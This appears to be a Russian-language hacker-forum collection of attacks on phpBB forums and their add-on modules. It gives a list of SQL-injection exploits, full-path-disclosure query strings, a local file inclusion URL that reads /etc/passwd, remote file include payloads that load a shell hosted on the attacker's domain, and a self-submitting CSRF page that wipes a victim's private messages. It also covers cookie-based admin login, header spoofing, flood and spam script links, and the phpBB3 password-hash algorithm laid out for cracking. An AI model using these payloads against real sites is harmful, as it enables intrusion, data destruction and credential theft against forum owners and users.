Инклуды в модах/модулях/компонентах Инклуды в модах/модулях/компонентах. Обновлено 12.01.2008 Софтинка для автоматического чека инклудов прилагается в атаче. Добавлен скрипт удаления повторов и сортировки по алфавиту.
SQL-injection уязвимости в модах Blind SQL-Injection в phpBB modified v1.8 by Przemo Hacks List phpBB Mod <= 1.21 Remote SQL Injection Vulnerability phpBB2 Plus 1.53 (Acronym Mod) Remote SQL Injection Vulnerability phpBB 2.0.19 (Style Changer/Demo Mod) SQL Injection Exploit phpBB All Topics Mod <= 1.5.0 (start) Remote SQL Injection Exploit phpBB 3 (memberlist.php) Remote SQL Injection Exploit phpBB Minerva Mod 2.0.21 build 238a SQL Injection Vulnerability phpBB Links MOD 1.2.2 Remote SQL Injection Exploit phpBB Mod Ktauber.com StylesDemo Blind SQL Injection Exploit phpBB Garage 1.2.0 Beta3 Remote SQL Injection Vulnerability Multi Host Forum Pro phpbb & ipb Multiple Sql Injection phpBB charts.php (hack) XSS and SQL-Injection
Дополнительное исследование - алгоритм хеширования поможет вам восстановить исходный пароль по хешу md5(password) - время сессии позволит вам оценить валидность сессии при XSS-атаке [в разработке] - содержание хеша пароля в куках позволит вам получить пароль при успешной XSS-атаке до phpBB 2.0.18 включительно присутствует содержание хеша пароля в куках - вход в админку по куке позволит вам войти в панель администрирования с кукой без знания исходного пароля до phpBB 2.0.18 включительно возможен вход в админку по куке - имена таблиц\столбцов sql позволит вам успешно провести SQL-inj phpbb_ phpbb2_ - IE security cookie [ setcookie() http_only ] позволит вам правильно выбрать метод XSS атаки(document.cookie, document.location, TRACE) [в разработке] - x-forward-for, client-ip, referer позволит вам анонимно оставлять сообщения на форуме, проводить XSS-атаку, проводить SQL-inj Неуязвимы версии выше phpBB 2.0.8 - CSRF(HTTP Response Splitting, Request Forgery) позволит вам выполнить специфическую XSS-атаку В phpBB <= 2.0.21 недавно найдена подобная уязвимость - см выше.
Флудер форума phpBB Следующие сторонние наработки для любителей пофлудить: 2.0.21: _http://www.inj3ct-it.org/exploit/phpbbasf.txt <=2.0.21: _http://www.inj3ct-it.org/exploit/phpbb.txt Cкрипт распознавания captcha в phpbb Cпам-скрипт для phpBB]
Как отличить последнюю версию второй ветки (2.0.22) от остальных? 2.0.21 или 2.0.22? Как отличить последнюю версию второй ветки (2.0.22) от остальных? (пост восстановлен) Очень просто. До последней версии был баг (не инъект!) в лимите во всех скритах, где присутствовал постраничный вывод на экран. Например, в скрипте viewforum.php, который и рассмотрим. Определить можно, добавив параметр start=-1 в адресной строке, например, к viewforum.php То есть, если есть ccылка вида: http://forum/viewforum.php?f=32 Набираем: http://forum/viewforum.php?f=32&start=-1 Если вываливается с ошибкой - версия <=2.0.21 Если нет - 2.0.22 Code: [CENTER]Could not obtain topic information DEBUG MODE SQL Error : 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-1, 20' at line 12 SELECT t.*, u.username, u.user_id, u2.username as user2, u2.user_id as id2, p.post_username, p2.post_username AS post_username2, p2.post_time FROM topics t, users u, posts p, posts p2, users u2 WHERE t.forum_id = 50 AND t.topic_poster = u.user_id AND p.post_id = t.topic_first_post_id AND p2.post_id = t.topic_last_post_id AND u2.user_id = p2.poster_id AND t.topic_type <> 2 AND t.topic_type <> 3 ORDER BY t.topic_type DESC, t.topic_last_post_id DESC LIMIT -1, 20 Line : 420 File : /xxx/phpbb/viewforum.php[/CENTER] P.S. Все файлы, где есть параметр start можно найти в апдейтере 2.0.22 P.S.S На forums.overclockers.ru стоит не 2.0.22 (ну или сильно криворукий обновляльщик)
Full path disclosure: profile.php?mode=viewprofile&u=2&ranksrow=abcdabcd faq.php?mode=bbcode&faq=abcdabcd viewtopic.php?p=6&highlight=\abcdabcd admin/admin_disallow.php?setmodules=1 db/oracle.php viewtopic.php?t=395&postorder[]=kala memberlist.php?mode[]=cx memberlist.php?start=-1 privmsg.php?folder[]= profile.php?mode[]= posting.php?mode[]= groupcp.php?mode[]= modcp.php?mode[]= index.php?category_rows=aaaa profile.php?mode=viewprofile&u=2&ranksrow=aaaa faq.php?faq=aaaa
PNphpBB2 <= 1.2i (printview.php phpEx) Local File Inclusion Vuln. PNphpBB2 <= 1.2i (printview.php phpEx) Local File Inclusion Vuln Code: http://[host]/[path]/modules/PNphpBB2/printview.php?phpEx=/../../../../../../../etc/passwd http://[host]/[path]/modules/PNphpBB2/printview.php?phpEx=[ LFI ] PNphpBB2 <= 1.2i viewforum.php Remote SQL Injection Exploit PNphpBB2 <= 1.2 (index.php c) Remote SQL Injection Exploit PNphpBB2 <= 1.2g (phpbb_root_path) Remote File Include Vulnerability Code: http://www.victim.com/[pn_phpbb]/includes/functions_admin.php?phpbb_root_path=http://yourdomain.com/shell.txt? (c)
phpBB 2.0.22 Remote PM Delete XSRF Vulnerability XSRF Vulnerability Vulnerable: phpBB 2.0.22 Exploit: HTML: <html> <head> </head> <body onLoad=javascript:document.xsrf.submit()> <form action="http://[site]/phpBB2/privmsg.php?folder=inbox" method="post" name="xsrf"> <input type="hidden" name="mode" value="" /> <input type="hidden" name="deleteall" value="true" /> <input type="hidden" name="confirm" value="Yes"> </body> </html> Атакующий посылает жертве в ПМ ссылку на страницу, содержащую вышеописанный код, и все личные сообщения жертвы будут удалены.
Хэши из phpBB3 Есть предложение к спецам по PHP - проанализировать исходники phpBB3 (функции хэширования опубликованы здесь: http://forum.insidepro.com/viewtopic.php?t=1685) и выяснить точный алгоритм хэширования паролей. А я бы новый модуль написал к PPro.
Если в 2-х словах (вкратце не получилось): имеем хеш: $H$95MMFvTU4Lm1sASItv4J5HWXk18HW70 (пароль 123456) соль от него 5MMFvTU4 (8 символов, начиная с 5-го) Делаем такой цикл: (убрать 2 пробела после ..klmn) $salt='5MMFvTU4'; $password='123456'; Code: $settings='$H$95MMFvTU4Lm1sASItv4J5HWXk18HW70'; $itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; $hash = md5($salt . $password, true); do { $hash = md5($hash . $password, true); } while (--(1 << strpos($itoa64, $setting[3]) )); Цикл возвращает бинарную строку из 16 символов, сделав много раз сначала функцию md5($salt . $password); затем md5( "предыдущий бинарный хеш" . $password); Ну, и, наконец, чтобы получить из этого бинарного хеша строку Lm1sASItv4J5HWXk18HW70 (первые 12 символов не в счет, их отбрасываем), прогоняем его через следующую функцию ($input это полученный ранее $hash): Code: function _hash_encode64($input, &$itoa64) { $output = ''; $i = 0; do { $value = ord($input[$i++]); $output .= $itoa64[$value & 0x3f]; if ($i < 16) { $value |= ord($input[$i]) << 8; } $output .= $itoa64[($value >> 6) & 0x3f]; if ($i++ >= 16) { break; } if ($i < 16) { $value |= ord($input[$i]) << 16; } $output .= $itoa64[($value >> 12) & 0x3f]; if ($i++ >= 16) { break; } $output .= $itoa64[($value >> 18) & 0x3f]; } while ($i < 16); return $output; } Склеиваем строки в одну ($H$95MMFvTU4 + Lm1sASItv4J5HWXk18HW70). проверяем, радуемся. ВСЕ Примеры: $H$95MMFvTU4Lm1sASItv4J5HWXk18HW70:123456 $H$9ZKl5LLDygA/c8AGXcpWk7bRnHQQ.U0:testing $H$9Uh5EWFcQEmJPaWy/7wsyzMPN4.jS3/:123321 где первые 4 символа $H$9 сигнатура хеша по умолчанию. $H$9 присутствует всегда, хотя его и можно и менять прямо в коде (я имею ввиду последоватльность $H$)... Я бы сделал префикс другой ) чтобы никто не догадался ______________________________________ P.S. Этот алгоритм применяется начиная с версии phpBB3 RC5. До этого везде был md5
Basurman, спасибо за разъяснения! Модуль для этих хэшей я написал и он уже доступен в архиве с PPro на моем сайте, файл MD5(phpBB3).dll, 15 кБ. P.S. Т.к. сигнатура этих хэшей ("$H$") не участвует в хэшировании (в отличие от MD5(Unix), к примеру), то я на всякий случай сделал так, что модуль поддерживает любую сигнатуру. P.P.S. Еще раз спасибо за помощь!
Удаленный инклуд в модуле 123 Flash Chat Module for phpBB RFI Уязвимые скрипты: PHP: path/123flashchat.php include($phpbb_root_path . 'extension.inc'); path/123flashchat.php include($phpbb_root_path . 'common.'.$phpEx); path/phpbb_login_chat.php include($phpbb_root_path . 'extension.inc'); path/phpbb_login_chat.php include($phpbb_root_path . 'common.'.$phpEx); Exploit: Code: www.site.com/path/123flashchat.php?phpbb_root_path=[shell] www.site.com/path/phpbb_login_chat.php?phpbb_root_path=[shell]